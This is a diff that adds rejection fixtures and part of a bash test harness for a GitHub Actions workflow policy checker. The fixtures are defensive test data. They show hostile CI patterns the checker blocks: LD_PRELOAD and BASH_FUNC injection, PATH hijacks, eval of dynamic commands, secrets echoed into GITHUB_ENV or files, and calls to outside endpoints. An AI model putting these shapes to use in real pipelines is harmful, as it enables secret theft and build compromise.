actions/setup-go@40f1582b2485089dde7abd97c1529aa768e1baff + - uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 + - uses: GoCodeAlone/setup-wfctl@bcd880980f5bbe8d192d0c20ff6279d25331f956 + - uses: goreleaser/goreleaser-action@f06c13b6b1a9625abc9e6e439d9c05a8f2190e94 + - name: Exercise local integration boundary + run: GOWORK=off go test -tags=integration ./internal/local/... + - name: Exact safe assignment + run: SAFE_VALUE=one + - name: Reject provider dependencies + run: | + if rg 'github.com/digitalocean/godo|api.digitalocean.com|doctl' core/; then + echo 'provider dependency crossed the boundary' + exit 1 + fi + + scheduled-release: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 + - name: Publish GitHub release + env: + GITHUB_TOKEN: ${{ github.token }} + run: gh release upload "${GITHUB_REF_NAME}" dist/* + + macos-build: + runs-on: macos-14 + permissions: read-all + steps: + - run: go test ./... + + windows-build: + runs-on: windows-2022 + steps: + - run: go test ./... diff --git a/scripts/fixtures/public-workflow-policy/reject-builtin-wrapper.yml b/scripts/fixtures/public-workflow-policy/reject-builtin-wrapper.yml new file mode 100644 index 000000000..69dd0a6a0 --- /dev/null +++ b/scripts/fixtures/public-workflow-policy/reject-builtin-wrapper.yml @@ -0,0 +1,19 @@ +name: Forbidden builtin wrapper + +on: + pull_request: + +permissions: + contents: read + +jobs: + builtin-wrapper: + runs-on: ubuntu-latest + steps: + - name: Tunnel dynamic execution through builtin + shell: bash + env: + COMMAND: printf builtin-wrapper + run: | + builtin eval "$COMMAND" + command builtin eval "$COMMAND" diff --git a/scripts/fixtures/public-workflow-policy/reject-command-analysis.yml b/scripts/fixtures/public-workflow-policy/reject-command-analysis.yml new file mode 100644 index 000000000..e3856bff6 --- /dev/null +++ b/scripts/fixtures/public-workflow-policy/reject-command-analysis.yml @@ -0,0 +1,57 @@ +name: Forbidden shell command shapes + +on: + pull_request: + +jobs: + assignment-prefix: + runs-on: ubuntu-latest + steps: + - run: MODE=ci ./scripts/live.sh + + command-wrapper: + runs-on: ubuntu-latest + steps: + - run: command ./scripts/live.sh + + exec-wrapper: + runs-on: ubuntu-latest + steps: + - run: exec ./scripts/live.sh + + sudo-wrapper: + runs-on: ubuntu-latest + steps: + - run: sudo ./scripts/live.sh + + env-wrapper: + runs-on: ubuntu-latest + steps: + - run: env AUTH=x ./scripts/live.sh + + subshell: + runs-on: ubuntu-latest + steps: + - run: (./scripts/live.sh) + + group: + runs-on: ubuntu-latest + steps: + - run: '{ ./scripts/live.sh; }' + + command-substitution: + runs-on: ubuntu-latest + steps: + - run: echo "$(./scripts/live.sh)" + + dynamic-path: + runs-on: ubuntu-latest + steps: + - run: "$(pwd)/scripts/live.sh" + + wrapped-dynamic-command: + runs-on: ubuntu-latest + env: + TOOL: ${{ vars.TOOL }} + steps: + - run: sudo "$TOOL" diff --git a/scripts/fixtures/public-workflow-policy/reject-deny-pattern-execution.yml b/scripts/fixtures/public-workflow-policy/reject-deny-pattern-execution.yml new file mode 100644 index 000000000..e7e1c8616 --- /dev/null +++ b/scripts/fixtures/public-workflow-policy/reject-deny-pattern-execution.yml @@ -0,0 +1,17 @@ +name: Deny pattern execution bypass + +on: + pull_request: + +jobs: + execute-deny-value: + runs-on: ubuntu-latest + steps: + - env: + PROVIDER_DENY_PATTERN: digitalocean/action-doctl|api.digitalocean.com|doctl + run: | + if rg "${PROVIDER_DENY_PATTERN}" .github/workflows/; then + echo 'provider execution marker crossed the boundary' + exit 1 + fi + "$PROVIDER_DENY_PATTERN" diff --git a/scripts/fixtures/public-workflow-policy/reject-dynamic-secrets.yml b/scripts/fixtures/public-workflow-policy/reject-dynamic-secrets.yml new file mode 100644 index 000000000..4e613c486 --- /dev/null +++ b/scripts/fixtures/public-workflow-policy/reject-dynamic-secrets.yml @@ -0,0 +1,19 @@ +name: Forbidden dynamic credential selectors + +on: + pull_request: + +env: + DYNAMIC_NAME: ${{ secrets[vars.NAME] }} + DYNAMIC_FORMAT: ${{ secrets[format('{0}_TOKEN', vars.PROVIDER)] }} + KNOWN_DYNAMIC_NAME: ${{ secrets[vars.DIGITALOCEAN_TOKEN] }} + KNOWN_VARIABLE: ${{ vars.DIGITALOCEAN_TOKEN }} + WILDCARD_SECRET: ${{ secrets.* }} + WHOLE_CONTEXT: ${{ secrets }} + SERIALIZED_CONTEXT: ${{ toJSON(secrets) }} + +jobs: + test: + runs-on: ubuntu-latest + steps: + - run: go test ./... diff --git a/scripts/fixtures/public-workflow-policy/reject-env-indirection.yml b/scripts/fixtures/public-workflow-policy/reject-env-indirection.yml new file mode 100644 index 000000000..f873ce43a --- /dev/null +++ b/scripts/fixtures/public-workflow-policy/reject-env-indirection.yml @@ -0,0 +1,24 @@ +name: Forbidden environment indirection + +on: + pull_request: + +env: + TOOL: doctl + ENDPOINT: https://api.digitalocean.com/v2 + +jobs: + indirect-provider-command: + runs-on: ubuntu-latest + env: + SDK_PACKAGE: github.com/digitalocean/godo + steps: + - run: '"$TOOL" compute droplet list; curl "$ENDPOINT"' + + dynamic-shells: + runs-on: ubuntu-latest + steps: + - run: | + eval "$COMMAND" + bash -c "$COMMAND" + sh -c "$COMMAND" diff --git a/scripts/fixtures/public-workflow-policy/reject-execution-context.yml b/scripts/fixtures/public-workflow-policy/reject-execution-context.yml new file mode 100644 index 000000000..0d0055648 --- /dev/null +++ b/scripts/fixtures/public-workflow-policy/reject-execution-context.yml @@ -0,0 +1,34 @@ +name: Forbidden execution context + +on: + pull_request: + +defaults: + run: + shell: bash + working-directory: ./workflow-subdir + +env: + CC: provider-compiler + "BASH_FUNC_workflow%%": "() { :; }" + +jobs: + context: + runs-on: ubuntu-latest + defaults: + run: + working-directory: ./job-subdir + env: + GIT_CONFIG_GLOBAL: ./provider.gitconfig + "BASH_FUNC_job%%": "() { :; }" + steps: + - name: Redirect approved local script + working-directory: /tmp/provider + run: ./scripts/check-public-workflow-policy.sh + - name: Step environment overrides + env: + HOME: /tmp/provider-home + IFS: ':' + GOFLAGS: -mod=mod + "BASH_FUNC_step%%": "() { :; }" + run: echo blocked diff --git a/scripts/fixtures/public-workflow-policy/reject-global.yml b/scripts/fixtures/public-workflow-policy/reject-global.yml new file mode 100644 index 000000000..64aeceb2d --- /dev/null +++ b/scripts/fixtures/public-workflow-policy/reject-global.yml @@ -0,0 +1,24 @@ +name: Forbidden global markers + +on: + pull_request: + +permissions: + contents: read + id-token: write + +jobs: + overridden-permissions: + runs-on: ubuntu-latest + permissions: + contents: read + env: + AWS_ACCESS_KEY_ID: ${{ vars.BUILD_IDENTITY }} + SPACES_ACCESS_KEY_ID: ${{ secrets.SPACES_ACCESS_KEY_ID }} + SPACES_SECRET_ACCESS_KEY: ${{ secrets.SPACES_SECRET_ACCESS_KEY }} + DIGITALOCEAN_SPACES_ACCESS_KEY_ID: ${{ secrets.DIGITALOCEAN_SPACES_ACCESS_KEY_ID }} + DIGITALOCEAN_SPACES_SECRET_ACCESS_KEY: ${{ secrets.DIGITALOCEAN_SPACES_SECRET_ACCESS_KEY }} + DO_SPACES_ACCESS_KEY_ID: ${{ secrets.DO_SPACES_ACCESS_KEY_ID }} + DO_SPACES_SECRET_ACCESS_KEY: ${{ secrets.DO_SPACES_SECRET_ACCESS_KEY }} + steps: + - run: go test ./... diff --git a/scripts/fixtures/public-workflow-policy/reject-guard-suffix.yml b/scripts/fixtures/public-workflow-policy/reject-guard-suffix.yml new file mode 100644 index 000000000..6b30fa943 --- /dev/null +++ b/scripts/fixtures/public-workflow-policy/reject-guard-suffix.yml @@ -0,0 +1,15 @@ +name: Guard suffix bypass + +on: + pull_request: + +jobs: + executable-suffix: + runs-on: ubuntu-latest + steps: + - run: if rg 'forbidden' internal/; then doctl compute droplet list; fi + + command-substitution: + runs-on: ubuntu-latest + steps: + - run: if rg "$(doctl compute droplet list)" internal/; then exit 1; fi diff --git a/scripts/fixtures/public-workflow-policy/reject-implicit-permissions.yml b/scripts/fixtures/public-workflow-policy/reject-implicit-permissions.yml new file mode 100644 index 000000000..8eaeb3d6c --- /dev/null +++ b/scripts/fixtures/public-workflow-policy/reject-implicit-permissions.yml @@ -0,0 +1,14 @@ +name: Implicit repository-default permissions + +on: + pull_request: + +defaults: + run: + shell: bash + +jobs: + implicit-defaults: + runs-on: ubuntu-latest + steps: + - run: go test ./... diff --git a/scripts/fixtures/public-workflow-policy/reject-legacy-github-token.yml b/scripts/fixtures/public-workflow-policy/reject-legacy-github-token.yml new file mode 100644 index 000000000..7a584321c --- /dev/null +++ b/scripts/fixtures/public-workflow-policy/reject-legacy-github-token.yml @@ -0,0 +1,17 @@ +name: Legacy secret selector is forbidden + +on: + pull_request: + +defaults: + run: + shell: bash + +jobs: + release: + runs-on: ubuntu-latest + steps: + - name: Legacy automatic token spelling + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + run: gh release list diff --git a/scripts/fixtures/public-workflow-policy/reject-missing-shell.yml b/scripts/fixtures/public-workflow-policy/reject-missing-shell.yml new file mode 100644 index 000000000..52b8cb6eb --- /dev/null +++ b/scripts/fixtures/public-workflow-policy/reject-missing-shell.yml @@ -0,0 +1,10 @@ +name: Missing explicit effective shell + +on: + pull_request: + +jobs: + implicit-platform-default: + runs-on: windows-2022 + steps: + - run: Invoke-RestMethod -Uri https://api.digitalocean.com/v2/droplets diff --git a/scripts/fixtures/public-workflow-policy/reject-permissions.yml b/scripts/fixtures/public-workflow-policy/reject-permissions.yml new file mode 100644 index 000000000..89341259a --- /dev/null +++ b/scripts/fixtures/public-workflow-policy/reject-permissions.yml @@ -0,0 +1,25 @@ +name: Forbidden permission shapes + +on: + pull_request: + +permissions: write-all + +jobs: + job-write-all: + runs-on: ubuntu-latest + permissions: write-all + steps: + - run: go test ./... + + dynamic-permissions: + runs-on: ubuntu-latest + permissions: ${{ vars.PERMISSIONS }} + steps: + - run: go test ./... + + malformed-permissions: + runs-on: ubuntu-latest + permissions: [read-all] + steps: + - run: go test ./... diff --git a/scripts/fixtures/public-workflow-policy/reject-provider-uses.yml b/scripts/fixtures/public-workflow-policy/reject-provider-uses.yml new file mode 100644 index 000000000..b495e19d8 --- /dev/null +++ b/scripts/fixtures/public-workflow-policy/reject-provider-uses.yml @@ -0,0 +1,19 @@ +name: Forbidden provider actions + +on: + pull_request: + +jobs: + provider-action: + runs-on: ubuntu-latest + env: + CLOUD_AUTH: ${{ secrets.DEPLOY_AUTH }} + steps: + - uses: digitalocean/action-doctl@v2 + with: + token: ${{ secrets.DEPLOY_AUTH }} + + provider-reusable-workflow: + uses: digitalocean/platform/.github/workflows/live-deploy.yml@main + secrets: + token: ${{ secrets.DEPLOY_AUTH }} diff --git a/scripts/fixtures/public-workflow-policy/reject-runners.yml b/scripts/fixtures/public-workflow-policy/reject-runners.yml new file mode 100644 index 000000000..8a5649cde --- /dev/null +++ b/scripts/fixtures/public-workflow-policy/reject-runners.yml @@ -0,0 +1,20 @@ +name: Forbidden runner selectors + +on: + pull_request: + +jobs: + custom-scalar: + runs-on: private-linux + steps: + - run: go test ./... + + custom-label-array: + runs-on: [linux, x64, private] + steps: + - run: go test ./... + + dynamic-expression: + runs-on: ${{ vars.RUNNER_LABEL }} + steps: + - run: go test ./... diff --git a/scripts/fixtures/public-workflow-policy/reject-script-execution.yml b/scripts/fixtures/public-workflow-policy/reject-script-execution.yml new file mode 100644 index 000000000..3ba1c157d --- /dev/null +++ b/scripts/fixtures/public-workflow-policy/reject-script-execution.yml @@ -0,0 +1,13 @@ +name: Forbidden committed script execution + +on: + pull_request: + +jobs: + scripts: + runs-on: ubuntu-latest + steps: + - run: ./scripts/unreviewed.sh + - run: bash ./scripts/unreviewed.sh + - run: source ../escape.sh + - run: go test ./... diff --git a/scripts/fixtures/public-workflow-policy/reject-secret-syntax.yml b/scripts/fixtures/public-workflow-policy/reject-secret-syntax.yml new file mode 100644 index 000000000..2335e156a --- /dev/null +++ b/scripts/fixtures/public-workflow-policy/reject-secret-syntax.yml @@ -0,0 +1,22 @@ +name: Forbidden bracket and global secret references + +on: + pull_request: + +env: + GLOBAL_AUTH_ALIAS: ${{ secrets['DEPLOY_AUTH'] }} + PROVIDER_CREDENTIAL: ${{ secrets["DIGITALOCEAN_TOKEN"] }} + +jobs: + provider-action-with-global-alias: + runs-on: ubuntu-latest + steps: + - uses: digitalocean/action-doctl@v2 + + unreviewed-step-secret: + runs-on: ubuntu-latest + steps: + - name: Use unreviewed package token + env: + PACKAGE_TOKEN: ${{ secrets['UNREVIEWED_TOKEN'] }} + run: go test ./... diff --git a/scripts/fixtures/public-workflow-policy/reject-shell-inheritance.yml b/scripts/fixtures/public-workflow-policy/reject-shell-inheritance.yml new file mode 100644 index 000000000..3cbf1c11f --- /dev/null +++ b/scripts/fixtures/public-workflow-policy/reject-shell-inheritance.yml @@ -0,0 +1,47 @@ +name: Forbidden effective shell inheritance + +on: + pull_request: + +defaults: + run: + shell: ${{ vars.DEFAULT_SHELL }} + +jobs: + root-dynamic: + runs-on: ubuntu-latest + steps: + - run: go test ./... + + job-python: + runs-on: ubuntu-latest + defaults: + run: + shell: python + steps: + - run: print('not Bash') + + job-pwsh: + runs-on: windows-2022 + defaults: + run: + shell: pwsh + steps: + - run: Invoke-RestMethod -Uri https://api.digitalocean.com/v2/droplets + + job-custom: + runs-on: ubuntu-latest + defaults: + run: + shell: fish + steps: + - run: go test ./... + + step-override: + runs-on: ubuntu-latest + defaults: + run: + shell: bash + steps: + - shell: powershell + run: Invoke-WebRequest -Uri ${{ vars.ENDPOINT }} diff --git a/scripts/fixtures/public-workflow-policy/reject-shell.yml b/scripts/fixtures/public-workflow-policy/reject-shell.yml new file mode 100644 index 000000000..294235e31 --- /dev/null +++ b/scripts/fixtures/public-workflow-policy/reject-shell.yml @@ -0,0 +1,22 @@ +name: Forbidden workflow shell selection + +on: + pull_request: + +jobs: + custom-shell: + runs-on: ubuntu-latest + steps: + - shell: python + run: print('not shell policy analyzed') + + dynamic-shell: + runs-on: ubuntu-latest + steps: + - shell: ${{ vars.SHELL }} + run: go test ./... + + invalid-shell-program: + runs-on: ubuntu-latest + steps: + - run: "if then" diff --git a/scripts/fixtures/public-workflow-policy/reject-statement-authority.yml b/scripts/fixtures/public-workflow-policy/reject-statement-authority.yml new file mode 100644 index 000000000..8f3ace225 --- /dev/null +++ b/scripts/fixtures/public-workflow-policy/reject-statement-authority.yml @@ -0,0 +1,35 @@ +name: Forbidden statement authority + +on: + pull_request: + +defaults: + run: + shell: bash + +jobs: + statements: + runs-on: ubuntu-latest + steps: + - name: Changed redirect on otherwise approved command + run: go test ./... > results.txt + - name: Standalone PATH assignment + run: PATH=/tmp/provider-bin + - name: PATH command hijack + run: PATH=/tmp/provider-bin go test ./... + - name: env wrapper PATH hijack + run: env PATH=/tmp/provider-bin go test ./... + - run: BASH_ENV=./bootstrap + - run: ENV=./profile + - run: SHELLOPTS=xtrace + - run: LD_PRELOAD=./hook.so command + - run: DYLD_INSERT_LIBRARIES=./hook.dylib command + - run: env 'BASH_FUNC_wrapper%%=() { :; }' go test ./... + - name: Secret echo to environment command file + run: echo "${{ secrets.RELEASES_TOKEN }}" >> "$GITHUB_ENV" + - name: Secret printf to path command file + run: printf '%s\n' "${{ secrets.RELEASES_TOKEN }}" >> "$GITHUB_PATH" + - name: Secret echo with changed output + run: echo "${{ secrets.RELEASES_TOKEN }}" > secret-output.txt + - name: Zero-argument execution wrapper + run: command diff --git a/scripts/fixtures/public-workflow-policy/reject-unreviewed-uses.yml b/scripts/fixtures/public-workflow-policy/reject-unreviewed-uses.yml new file mode 100644 index 000000000..9df984519 --- /dev/null +++ b/scripts/fixtures/public-workflow-policy/reject-unreviewed-uses.yml @@ -0,0 +1,48 @@ +name: Forbidden unreviewed actions + +on: + pull_request: + +jobs: + unknown-action: + runs-on: ubuntu-latest + steps: + - uses: octocat/unknown-action@v1 + + local-action: + runs-on: ubuntu-latest + steps: + - uses: ./.github/actions/not-reviewed + + docker-action: + runs-on: ubuntu-latest + steps: + - uses: docker://alpine:3.20 + + unlisted-provider-action: + runs-on: ubuntu-latest + steps: + - uses: digitalocean/experimental-deploy@v1 + + dynamic-action: + runs-on: ubuntu-latest + steps: + - uses: ${{ vars.ACTION_REF }} + + changed-approved-tag: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v5 + + approved-action-main: + runs-on: ubuntu-latest + steps: + - uses: actions/setup-go@main + + unreviewed-action-sha: + runs-on: ubuntu-latest + steps: + - uses: actions/upload-artifact@0123456789012345678901234567890123456789 + + unknown-reusable-workflow: + uses: acme/platform/.github/workflows/deploy.yml@main diff --git a/scripts/fixtures/public-workflow-policy/reject-unsafe-programs.yml b/scripts/fixtures/public-workflow-policy/reject-unsafe-programs.yml new file mode 100644 index 000000000..fe5a24fdb --- /dev/null +++ b/scripts/fixtures/public-workflow-policy/reject-unsafe-programs.yml @@ -0,0 +1,129 @@ +name: Forbidden dynamic and provider-capable programs + +on: + pull_request: + +defaults: + run: + shell: bash + +jobs: + curl-endpoint: + runs-on: ubuntu-latest + steps: + - run: curl "${{ vars.ENDPOINT }}" + + wget-endpoint: + runs-on: ubuntu-latest + steps: + - run: wget https://example.invalid/resource + + http-client: + runs-on: ubuntu-latest + steps: + - run: http GET "${{ vars.ENDPOINT }}" + + python-code: + runs-on: ubuntu-latest + steps: + - run: python -c "$CODE" + + node-code: + runs-on: ubuntu-latest + steps: + - run: node -e "${{ vars.CODE }}" + + dynamic-interpreter-script: + runs-on: ubuntu-latest + steps: + - run: python "$SCRIPT" + + powershell-endpoint: + runs-on: ubuntu-latest + steps: + - run: pwsh -Command 'Invoke-RestMethod -Uri https://api.digitalocean.com/v2/droplets' + + go-run: + runs-on: ubuntu-latest + steps: + - run: go run ./cmd/tool + + npx-exec: + runs-on: ubuntu-latest + steps: + - run: npx provider-tool + + npm-exec: + runs-on: ubuntu-latest + steps: + - run: npm exec provider-tool + + docker-run: + runs-on: ubuntu-latest + steps: + - run: docker run provider/image + + docker-login: + runs-on: ubuntu-latest + steps: + - run: docker login registry.example.invalid + + docker-push: + runs-on: ubuntu-latest + steps: + - run: docker push registry.example.invalid/provider/image + + terraform-plan: + runs-on: ubuntu-latest + steps: + - run: terraform plan + + tofu-plan: + runs-on: ubuntu-latest + steps: + - run: command tofu plan + + pulumi-preview: + runs-on: ubuntu-latest + steps: + - run: exec pulumi preview + + kubectl-get: + runs-on: ubuntu-latest + steps: + - run: env MODE=ci kubectl get pods + + helm-list: + runs-on: ubuntu-latest + steps: + - run: helm list + + ansible-playbook: + runs-on: ubuntu-latest + steps: + - run: ansible site.yml + + rclone-list: + runs-on: ubuntu-latest + steps: + - run: 'rclone lsd remote:' + + s3cmd-list: + runs-on: ubuntu-latest + steps: + - run: s3cmd ls + + mc-list: + runs-on: ubuntu-latest + steps: + - run: mc ls storage + + unknown-executable: + runs-on: ubuntu-latest + steps: + - run: mystery-tool inspect + + sudo-wrapper: + runs-on: ubuntu-latest + steps: + - run: sudo go test ./... diff --git a/scripts/fixtures/public-workflow-policy/reject-yaml-structure.yml b/scripts/fixtures/public-workflow-policy/reject-yaml-structure.yml new file mode 100644 index 000000000..5747e2eef --- /dev/null +++ b/scripts/fixtures/public-workflow-policy/reject-yaml-structure.yml @@ -0,0 +1,32 @@ +name: Forbidden YAML structure + +on: + pull_request: + +x-run: &shared-run echo aliased +x-uses: &shared-uses actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 +x-env: &shared-env + VALUE: aliased +x-shell: &shared-shell bash +x-runner: &shared-runner ubuntu-latest + +jobs: + aliases: + runs-on: *shared-runner + env: *shared-env + steps: + - uses: *shared-uses + - shell: *shared-shell + run: *shared-run + + duplicates: + runs-on: ubuntu-latest + runs-on: ubuntu-24.04 + steps: + - run: echo first + run: echo second + - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 + uses: actions/setup-go@40f1582b2485089dde7abd97c1529aa768e1baff + env: + VALUE: first + VALUE: second diff --git a/scripts/fixtures/public-workflow-policy/reject.yml b/scripts/fixtures/public-workflow-policy/reject.yml new file mode 100644 index 000000000..792ef6f37 --- /dev/null +++ b/scripts/fixtures/public-workflow-policy/reject.yml @@ -0,0 +1,75 @@ +name: Forbidden public automation examples + +on: + workflow_dispatch: + schedule: + - cron: '17 * * * *' + +jobs: + self-hosted: + runs-on: [self-hosted, linux] + steps: + - run: go test ./... + + oidc: + runs-on: ubuntu-latest + permissions: + id-token: write + contents: read + steps: + - run: go test ./... + + known-cloud-secret: + runs-on: ubuntu-latest + env: + CLOUD_AUTH: ${{ secrets.DIGITALOCEAN_TOKEN }} + steps: + - run: go test ./... + + aliased-cloud-secret: + runs-on: ubuntu-latest + env: + CLOUD_AUTH: ${{ secrets.DEPLOY_AUTH }} + steps: + - run: doctl compute droplet list + + fixed-provider-api: + runs-on: ubuntu-latest + steps: + - run: curl https://api.digitalocean.com/v2/droplets + + sdk-with-authority: + runs-on: ubuntu-latest + env: + CLOUD_AUTH: ${{ secrets.DIGITALOCEAN_TOKEN }} + steps: + - run: GOWORK=off go test github.com/digitalocean/godo/... + + integration-with-authority: + runs-on: ubuntu-latest + env: + CLOUD_AUTH: ${{ secrets.DIGITALOCEAN_TOKEN }} + steps: + - run: GOWORK=off go test -tags=integration ./internal/drivers/... + + named-live-test: + runs-on: ubuntu-latest + steps: + - run: GOWORK=off go test ./internal/... -run TestDatabaseDriver_Live + + manual-provider-job: + runs-on: ubuntu-latest + steps: + - run: gcloud compute instances list + + scheduled-provider-job: + runs-on: ubuntu-latest + steps: + - run: az account show + + unknown-secret: + runs-on: ubuntu-latest + env: + PACKAGE_TOKEN: ${{ secrets.UNREVIEWED_TOKEN }} + steps: + - run: go test ./... diff --git a/scripts/test-check-public-workflow-policy.sh b/scripts/test-check-public-workflow-policy.sh new file mode 100755 index 000000000..a0b878b0f --- /dev/null +++ b/scripts/test-check-public-workflow-policy.sh @@ -0,0 +1,3691 @@ +#!/usr/bin/env bash +# GitHub expression literals below are mutation data, never shell expansion. +# shellcheck disable=SC2016 +set -euo pipefail + +repo_root="$(git rev-parse --show-toplevel)" +checker_binary="${repo_root}/scripts/check-public-workflow-policy.sh" +fixtures="${repo_root}/scripts/fixtures/public-workflow-policy" +policytool="${repo_root}/.github/workflows/policytool" +harness_source="${BASH_SOURCE[0]}" + +repo_switch_line="$(grep -n '^repo_root="${archive_repo}"$' "${harness_source}" | cut -d: -f1 || true)" +integrity_target_line="$(grep -n '^integrity_extra=' "${harness_source}" | cut -d: -f1 || true)" +repo_local_tmp_pattern='mktemp -d "${repo_' +repo_local_tmp_pattern+='root}/' +if [[ -z "${repo_switch_line}" || -z "${integrity_target_line}" || + "${repo_switch_line}" -ge "${integrity_target_line}" ]] || + grep -Fq -- "${repo_local_tmp_pattern}" "${harness_source}"; then + echo "policy mutation harness does not confine writes to an external archive copy" >&2 + exit 1 +fi + +sha256_file() { + if command -v sha256sum >/dev/null 2>&1; then + sha256sum "$1" | awk '{print $1}' + else + LC_ALL=C shasum -a 256 "$1" | awk '{print $1}' + fi +} + +file_mode() { + if stat -f '%Lp' "$1" >/dev/null 2>&1; then + stat -f '%Lp' "$1" + else + stat -c '%a' "$1" + fi +} + +assert_file_unchanged() { + local label="$1" + local expected="$2" + local actual="$3" + if ! cmp -s "${expected}" "${actual}" || + [[ "$(sha256_file "${actual}")" != "$(sha256_file "${expected}")" ]] || + [[ "$(file_mode "${actual}")" != "$(file_mode "${expected}")" ]]; then + echo "${label} changed outside the candidate extraction root" >&2 + exit 1 + fi +} + +production_repo_root="$(cd "${repo_root}" && pwd -P)" +production_status_before="$(git -C "${production_repo_root}" status --porcelain=v1 --untracked-files=all)" +production_snapshot() { + local root="$1" + ( + cd "${root}" + if command -v sha256sum >/dev/null 2>&1; then + git ls-files -z --cached --others --exclude-standard | + LC_ALL=C sort -z | + COPYFILE_DISABLE=1 LC_ALL=C tar --null --no-recursion -T - -cf - | + sha256sum | awk '{print $1}' + else + git ls-files -z --cached --others --exclude-standard | + LC_ALL=C sort -z | + COPYFILE_DISABLE=1 LC_ALL=C tar --null --no-recursion -T - -cf - | + LC_ALL=C shasum -a 256 | awk '{print $1}' + fi + ) +} +production_snapshot_before="$(production_snapshot "${production_repo_root}")" +sandbox_root="" +cleanup() { + local prior_status=$? + trap - EXIT + if [[ -n "${sandbox_root}" ]]; then + rm -rf "${sandbox_root}" + fi + local production_status_after + local production_snapshot_after + production_status_after="$(git -C "${production_repo_root}" status --porcelain=v1 --untracked-files=all)" + production_snapshot_after="$(production_snapshot "${production_repo_root}")" + if [[ "${production_status_after}" != "${production_status_before}" || + "${production_snapshot_after}" != "${production_snapshot_before}" ]]; then + echo "policy mutation harness changed the production worktree" >&2 + diff -u <(printf '%s\n' "${production_snapshot_before}") <(printf '%s\n' "${production_snapshot_after}") >&2 || true + exit 1 + fi + exit "${prior_status}" +} +trap cleanup EXIT + +# BEGIN root-module-graph-check +root_module_graph="$(GOWORK=off GOFLAGS=-mod=readonly go list -m all)" +if grep -Eq '^mvdan\.cc/sh/v3 ' <<<"${root_module_graph}"; then + echo "policy parser dependency leaked into the Workflow module graph" >&2 + exit 1 +fi +# END root-module-graph-check +if [[ "$(cd "${policytool}" && GOWORK=off GOFLAGS=-mod=readonly go list -m -f '{{.Version}}' mvdan.cc/sh/v3)" != "v3.13.1" ]]; then + echo "policy tool must pin mvdan.cc/sh/v3 v3.13.1" >&2 + exit 1 +fi +(cd "${policytool}" && GOWORK=off GOFLAGS=-mod=readonly go test ./...) + +governance_workflow="${repo_root}/.github/workflows/public-workflow-policy.yml" +ci_workflow="${repo_root}/.github/workflows/ci.yml" +protection_verifier="${repo_root}/.github/workflows/scripts/verify-public-workflow-branch-protection.sh" +osv_workflow="${repo_root}/.github/workflows/osv-scanner.yml" +dependency_workflow="${repo_root}/.github/workflows/dependency-update.yml" +benchmark_workflow="${repo_root}/.github/workflows/benchmark.yml" +prerelease_workflow="${repo_root}/.github/workflows/pre-release.yml" +grep_files_fail_closed() { + local label="$1" + local status=0 + shift + grep "$@" || status=$? + if [[ "${status}" -gt 1 ]]; then + echo "failed to scan ${label}" >&2 + exit "${status}" + fi + return "${status}" +} +trusted_scan_env_binary="" +if [[ -x /usr/bin/env ]]; then + trusted_scan_env_binary=/usr/bin/env +elif [[ -x /bin/env ]]; then + trusted_scan_env_binary=/bin/env +fi +trusted_scan_bash_binary="" +if [[ -x /bin/bash ]]; then + trusted_scan_bash_binary=/bin/bash +elif [[ -x /usr/bin/bash ]]; then + trusted_scan_bash_binary=/usr/bin/bash +fi +trusted_scan_true_binary="" +if [[ -x /usr/bin/true ]]; then + trusted_scan_true_binary=/usr/bin/true +elif [[ -x /bin/true ]]; then + trusted_scan_true_binary=/bin/true +fi +resolve_scan_executable() { + local name="$1" + local resolved + if [[ -z "${trusted_scan_env_binary}" || -z "${trusted_scan_bash_binary}" ]]; then + return 1 + fi + if ! resolved="$( + "${trusted_scan_env_binary}" -i PATH="${PATH:-}" \ + "${trusted_scan_bash_binary}" --noprofile --norc -c ' + name="$1" + if ! resolved="$(builtin type -P "${name}")"; then + exit 1 + fi + case "${resolved}" in + /*) ;; + */*) + if ! resolved_dir="$(builtin cd -- "${resolved%/*}" && builtin pwd -P)"; then + exit 1 + fi + resolved="${resolved_dir%/}/${resolved##*/}" + ;; + *) resolved="$(builtin pwd -P)/${resolved}" ;; + esac + if [[ ! -x "${resolved}" ]]; then + exit 1 + fi + printf "%s\n" "${resolved}" + ' _ "${name}" + )"; then + return 1 + fi + printf '%s\n' "${resolved}" +} +find_top_level_yml() { + "${scan_find_binary}" . ! -name . -prune -type f -name '*.yml' -print0 +} +find_top_level_yml_yaml() { + "${scan_find_binary}" . ! -name . -prune -type f \( -name '*.yml' -o -name '*.yaml' \) -print0 +} +find_active_go_pin_files() { + "${scan_find_binary}" . \( -name .git -o \( -type d -path './docs/plans' \) \) -prune -o -type f -print0 +} +grep_find_batches() { + local label="$1" + local literal_root="$2" + local producer="$3" + local marker + local marker_parent + local output + local physical_root + local pipeline_status=0 + local match_status=1 + local grep_binary + local grep_argument_count + local scan_find_binary + local scan_xargs_binary + shift 3 + grep_argument_count="$#" + if [[ -z "${trusted_scan_env_binary}" ]]; then + echo "failed to resolve env for ${label}" >&2 + return 2 + fi + if [[ -z "${trusted_scan_bash_binary}" ]]; then + echo "failed to resolve bash for ${label}" >&2 + return 2 + fi + if ! grep_binary="$(resolve_scan_executable grep)"; then + echo "failed to resolve grep for ${label}" >&2 + return 2 + fi + if ! scan_find_binary="$(resolve_scan_executable find)"; then + echo "failed to resolve find for ${label}" >&2 + return 2 + fi + if ! scan_xargs_binary="$(resolve_scan_executable xargs)"; then + echo "failed to resolve xargs for ${label}" >&2 + return 2 + fi + if ! physical_root="$(cd -- "${literal_root}" && pwd -P)"; then + echo "failed to enter ${label} root" >&2 + return 2 + fi + if ! marker_parent="$(cd -- "${TMPDIR:-/tmp}" && pwd -P)"; then + echo "failed to enter ${label} scan marker parent" >&2 + return 2 + fi + if [[ "${marker_parent}" == "${physical_root}" || + "${marker_parent}" == "${physical_root}"/* ]] || + [[ -n "${production_repo_root:-}" && + ("${marker_parent}" == "${production_repo_root}" || + "${marker_parent}" == "${production_repo_root}"/*) ]]; then + echo "refusing scan marker inside a protected root" >&2 + return 2 + fi + if ! marker="$(mktemp "${marker_parent%/}/workflow-grep-match.XXXXXX")"; then + echo "failed to create ${label} scan marker" >&2 + return 2 + fi + output="$( + set -o pipefail + if ! cd -- "${literal_root}"; then + echo "failed to enter ${label} root" >&2 + exit 2 + fi + "${producer}" | + LC_ALL=C "${scan_xargs_binary}" -0 